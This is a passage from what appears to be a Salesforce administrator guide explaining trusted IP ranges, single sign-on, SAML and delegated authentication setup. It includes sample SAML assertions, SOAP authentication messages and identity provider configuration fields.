0.0.0.0 to 1.255.255.255 132.0.0.0 to 132.255.255.255 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large. The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336 addresses (296, a /32 CIDR block). For example, the following range is valid: 2001:8000:: to 2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large. 4. Click Save. Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already accessed Salesforce during the past six months were added.

629

Security and Sharing

About Single Sign-On

Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in Sandbox organizations for the Winter '12 release.

See Also:
Setting Login Restrictions Administrator setup guide: Security Implementation Guide

SINGLE SIGN ON
About Single Sign-On
Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. Salesforce offers the following ways to use single sign-on: Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is available in all Editions. Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password. Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.

630

Security and Sharing

About Single Sign-On

When you have an external identity provider, and configure single sign-on for your Salesforce organization, Salesforce is then acting as a service provider. You can also enable Salesforce as an identity provider, and use single sign-on to connect to a different service provider. Only the service provider needs to configure single sign-on. The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 645. For more information about SAML and Salesforce security, see the Security Implementation Guide. Benefits of Single Sign-On Implementing single sign-on can offer the following advantages to your organization: Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside the corporate network, users' corporate network login works to log them in. With fewer passwords to manage, system administrators receive fewer requests to reset forgotten passwords. Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce. Consequently, users who leave the company automatically lose access to company data after their departure. Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to Salesforce is avoided. These saved seconds add up to increased productivity. Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a regular basis. For example, users can send email messages that contain links to information in Salesforce such as records and reports. When the recipients of the email message click the links, the corresponding Salesforce page opens automatically. Increased Security: Any password policies that you have established for your corporate network will also be in effect for Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users who have access to sensitive data.

See Also:
Best Practices for Implementing Single Sign-On Configuring SAML Settings for Single Sign-On About Just-in-Time Provisioning for SAML Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide Just-in-Time Provisioning for Portals

About SAML

631

Security and Sharing

About SAML

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce supports SAML for single sign-on into Salesforce from a corporate portal or identity provider. Much of the work to set up single sign-on using SAML occurs with your identity provider: 1. Establish a SAML identity provider and gather information about how they will connect to Salesforce. This is the provider that will send single sign-on requests to Salesforce. 2. Provide information to your identity provider, such as the URLs for the start and logout pages. 3. Configure Salesforce using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step that takes place in Salesforce. Your identity provider should send SAML assertions to Salesforce using the SAML Web Single Sign-on Browser POST profile. Salesforce sends SAML responses to the Identity Provider Login URL specified in Your Name > Setup > Security Controls > Single Sign-On Settings. Salesforce receives the assertion, verifies it against your Salesforce configuration, and allows single sign-on if the assertion is true. If you have problems with the SAML assertion after you configure Salesforce for SAML, use the SAML Assertion Validator to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider. If your users are having problems using SAML to login, you can review the SAML login history to determine why they were not able to log in and share that information with your identity provider. If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization.

Working With Your Identity Provider

632

Security and Sharing

Working With Your Identity Provider

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

1. You must gather the following information from your identity provider before configuring Salesforce for SAML. The version of SAML the identity provider uses (1.1 or 2.0) The entity ID of the identity provider (also known as the issuer) An authentication certificate. Tip: Be sure to store the certificate where you can access it from your browser. This will be uploaded to Salesforce in a later step. The following SAML assertion parameters, as appropriate: The SAML user ID type The SAML user ID location Attribute Name Attribute URI Name ID format Note: Attribute Name, Attribute URI, and Name ID format are only necessary if the SAML User ID Location is in an Attribute element, and not the name identifier element of a Subject statement.

You may also want to share more information about these values with your identity provider. Tip: Enable Salesforce for SAML and take a screenshot of the page for your identity provider. Click Your Name > Setup > Security Controls > Single Sign-On Settings, click Edit, then select SAML Enabled. 2. Work with your identity provider to setup the start, login, and logout pages. 3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce requires for successful single sign-on.

Customizing SAML Start, Error, Login, and Logout Pages

633

Security and Sharing

Working With Your Identity Provider

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0. As part of your configuration, you need to decide the following: The logout page: the URL to direct the user to when they click the Logout link in Salesforce. The default is http://www.salesforce.com. If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes. This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This URL should be an endpoint that accepts SAML authentication requests. In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start page must support Sp-init single sign-on. If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a successful login. The single sign-on start page where Salesforce sends a SAML request to start the login sequence. We recommend that if you specify a single sign-on start page that you also specify a logout page. When you specify a logout page, when a user clicks logout or if a users session expires, the user is redirected to that page. If you dont specify a logout page, the user is redirected to the general Salesforce login page. For SAML 2.0, these values can be set either during the single sign-on configuration, or by your identity provider in the login URL or SAML assertion. The order of precedence is: 1. Session cookieif youve already logged into Salesforce and a cookie still exists, the login and logout pages specified by the session cookie are used. 2. Values passed in from the identity provider. 3. Values from the single sign-on configuration page. If you decide not to add these values to the single sign-on configuration, share them with your identity provider. They will need to use these values either in the login URL or the assertion. You can also decide if you want users to be directed to a custom error page if theres an error during SAML login: It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. It can also be a Visualforce page. Use this value when you configure SAML.

634

Security and Sharing

Working With Your Identity Provider

Example SAML Assertions


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Share the example SAML assertions with your identity provider so they can determine the format of the information Salesforce requires for successful single-sign on. In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the specific feature: assertions for portals assertions for Sites SOAP message for delegated authentication assertion for just-in-time provisioning

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element in the <Subject> element SAML 1.1:
<Subject> <NameIdentifier>user101@salesforce.com</NameIdentifier> </Subject>

SAML 2.0:
<saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z" Recipient="http://localhost:9000"/> </saml:SubjectConfirmation> </saml:Subject>

635

Security and Sharing

Working With Your Identity Provider

SAML User ID type isSalesforce username, and SAML User ID location is the <Attribute> element SAML 1.1:
<AttributeStatement> <Subject> <NameIdentifier>this value doesn't matter</NameIdentifier> <SubjectConfirmation> <ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod> </SubjectConfirmation> </Subject> <Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI"> <AttributeValue>user101@salesforce.com</AttributeValue> </Attribute> </AttributeStatement>

SAML 2.0:
<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> user101@salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

SAML User ID type is the Salesforce User object's FederationIdentifier field, and SAML User ID location is the <NameIdentifier> element in the <Subject> element SAML 1.1:
<AttributeStatement> <saml:Subject> <saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion" NameQualifier="www.saml_assertions.com"> MyName </saml:NameIdentifier> </saml:Subject> </AttributeStatement>

SAML 2.0:
<saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z" Recipient="http://localhost:9000/"/> </saml:SubjectConfirmation> </saml:Subject>

Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.

636

Security and Sharing

Working With Your Identity Provider

SAML User ID type is theSalesforce User object's FederationIdentifier field, and SAML User ID location is the <Attribute> element SAML 1.1:
<AttributeStatement> <Subject> <NameIdentifier>who cares</NameIdentifier> <SubjectConfirmation> <ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod> </SubjectConfirmation> </Subject> <Attribute AttributeName="MyName" AttributeNamespace="MyURI"> <AttributeValue>user101</AttributeValue> </Attribute> </AttributeStatement>

SAML 2.0:
<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> user101 </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element in the <Subject> element The following is a complete SAML response, for SAML 2.0:
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738" IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738" IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"> saml01@salesforce.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z" Recipient="https://login.www.salesforce.com"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2009-06-17T18:45:10.738Z" NotOnOrAfter="2009-06-17T18:50:10.738Z">

637

Security and Sharing

Working With Your Identity Provider

<saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="ssostartpage" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType"> http://www.salesforce.com/security/saml/saml20-gen.jsp </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="logouturl" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string"> http://www.salesforce.com/security/del_auth/SsoLogoutPage.html </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Sample SAML Assertions for Portals The following shows the portal_id and organization_id attributes in a SAML assertion statement:
<saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

638

Security and Sharing

Working With Your Identity Provider

The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is using federated sign-on, which is included in an attribute, not in the subject.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456" IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456" IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null </saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z" Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi _0nR7BBAflopdnD3gtixujECWpxr9klAw"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2009-06-17T18:43:25.456Z" NotOnOrAfter="2009-06-17T18:48:25.456Z"> <saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute FriendlyName="Friendly Name" Name="federationId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id </saml:AttributeValue> <saml:AttributeValue xsi:type="xs:string">SomeOtherValue </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="ssostartpage"

639

Security and Sharing

Working With Your Identity Provider

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType"> http://www.salesforce.com/qa/security/saml/saml20-gen.jsp </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="logouturl" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string"> http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Sample SAML Assertion for Sites The following shows the portal_id, organization_id, and siteurl attributes in a SAML assertion statement:
<saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">060900000004cDk </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">00D900000008bX0 </saml:AttributeValue></saml:Attribute> <saml:Attribute Name="siteurl"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue> </saml:Attribute>

Sample SOAP Message for Delegated Authentication As part of the delegated authentication single sign-on process, a salesforce.com server makes a SOAP 1.1 request to authenticate the user who is passing in the credentials. Here is an example of this type of request. Your single sign-on Web service needs to accept this request, process it, and return a true or false response. Sample Request
<?xml version="1.0" encoding="UTF-8" ?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <Authenticate xmlns="urn:authentication.soap.sforce.com"> <username>sampleuser@sample.org</username> <password>myPassword99</password> <sourceIp>1.2.3.4</sourceIp> </Authenticate> </soapenv:Body> </soapenv:Envelope>

640

Security and Sharing

Working With Your Identity Provider

Sample Response Message


<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <AuthenticateResult xmlns="urn:authentication.soap.sforce.com"> <Authenticated>false</Authenticated> </AuthenticateResult> </soapenv:Body> </soapenv:Envelope>

Sample SAML Assertion for Just-In-Time Provisioning The following is a sample SAML assertion for just in time provisioning.
<saml:Attribute Name="User.Username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Phone" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">415-123-1234 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Testuser </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LanguageLocaleKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">en_US </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.CompanyName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Salesforce.com </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Alias" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.CommunityNickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.UserRoleId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">000000000000000 </saml:AttributeValue> </saml:Attribute>

641

Security and Sharing

Working With Your Identity Provider

<saml:Attribute Name="User.Title" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Mr. </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LocaleSidKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">en_CA </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name=" User.FederationIdentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.TimeZoneSidKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Lee </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.ProfileId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.IsActive" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">1 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.EmailEncodingKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">UTF-8 </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

Identity Provider Values

642

Security and Sharing

Working With Your Identity Provider

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Before you can configure Salesforce for SAML, you must receive information from your identity provider. This information must be used on the single sign-on page. The following information might be useful for your identity provider. Field
SAML Version

Description The version of SAML your identity provider uses. Salesforce currently supports version 1.1 and 2.0. The SAML specifications for the various versions are linked below: SAML 1.1 SAML 2.0 The Entity IDa URL that uniquely identifies your SAML identity provider. SAML assertions sent to Salesforce must match this value exactly in the <saml:Issuer> attribute of SAML assertions. The issuer in SAML requests generated by Salesforce, and is also the expected audience of any inbound SAML Responses. If you don't have domains deployed, this value is always https://saml.salesforce.com. If you have domains deployed, Salesforce recommends that you use your custom domain name. You can find the value on the Single Sign-On Settings page. Click Your Name > Setup > Security Controls > Single Sign-On Settings. The authentication certificate issued by your identity provider. For SAML 2.0 only: The URL where Salesforce sends a SAML request to start the login sequence. If you have domains deployed and a value specified for this field, login requests are usually sent to the address specified by this field. However, if you need to bypass this value (for example, your identity provider is down) add the login parameter to the query string for the login page. For example: http://mydomain.my.salesforce.com?login.

Issuer

Entity ID

Identity Provider Certificate Identity Provider Login URL

Identity Provider Logout URL

For SAML 2.0 only: The URL to direct the user to when they click the Logout link in Salesforce. The default is http://www.salesforce.com.

643

Security and Sharing

Working With Your Identity Provider

Field
Salesforce Login URL

Description For SAML 2.0 only: The URL associated with login for the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2009. For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2009. The URL of the page users should be directed to if there's an error during SAML login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. The element in a SAML assertion that contains the string that identifies a Salesforce user. Values are:
Assertion contains User's Salesforce username

OAuth 2.0 Token Endpoint Custom Error URL

SAML User ID Type

Use this option if your identity provider passes the Salesforce username in SAML assertions.
Assertion contains the Federation ID from the User object

Use this option if your identity provider passes an external user identifier, for example an employee ID, in the SAML assertion to identify the user.
SAML User ID Location The location in the assertion where a user should be identified. Values are: User ID is in the NameIdentifier element of the Subject statement

The Salesforce Username or FederationIdentifier is located in the <Subject> statement of the assertion.
User ID is in an Attribute element

The Salesforce Username or FederationIdentifier is specified in an <AttributeValue>, located in the <Attribute> of the assertion.
Attribute Name

If User ID is in an Attribute element is selected, this contains the value of the AttributeName that is specified in <Attribute> that contains the User ID. If SAML 1.1 is the specified SAML version and User ID is in an Attribute element is selected, this contains the value of the AttributeNamespace that is specified in <Attribute>. If SAML 2.0 is the specified SAML version and User ID is in an Attribute element is selected, this contains the value for the nameid-format. Possible values include unspecified, emailAddress or persistent. All legal values can be found in the Name Identifier Format Identifiers section of the Assertions and Protocols SAML 2.0 specification.

Attribute URI

Name ID Format

Start, Login and Logout URL Values In addition to the information used during the single sign-on, your identity provider can also set the start, login, and logout pages. You can also specify these pages yourself when you configure single sign-on. The following information might be useful to your identity provider if they are setting these pages. The SAML specification supports an HTML form that is used to pass the SAML assertion via HTTPS POST.

644

Security and Sharing

Working With Your Identity Provider

For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional information to Salesforce prepended with a specially formatted URL that contains URL-encoded parameters. The URL for SAML 1.1 to include in the TARGET field is as follows: https://saml.salesforce.com/? For SAML 2.0, instead of using the TARGET field, the identity providers uses the <AttributeStatement> in the SAML assertion to specify the additional information. Salesforce supports the following parameters: Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the <AttributeStatement>. ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is directed to this page when requesting a protected resource in Salesforce, without an active session. The ssoStartPage should be the SAML identity provider's login page. startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is only used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were authenticated. logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce. The default is http://www.salesforce.com.

The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F %2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and logoutURL:
<saml:AttributeStatement> <saml:Attribute Name="ssoStartPage" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType"> http://www.customer.org </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="logoutURL" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> https://www.salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

Configuring SAML Settings for Single Sign-On

645

Security and Sharing

Configuring SAML Settings for Single Sign-On

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

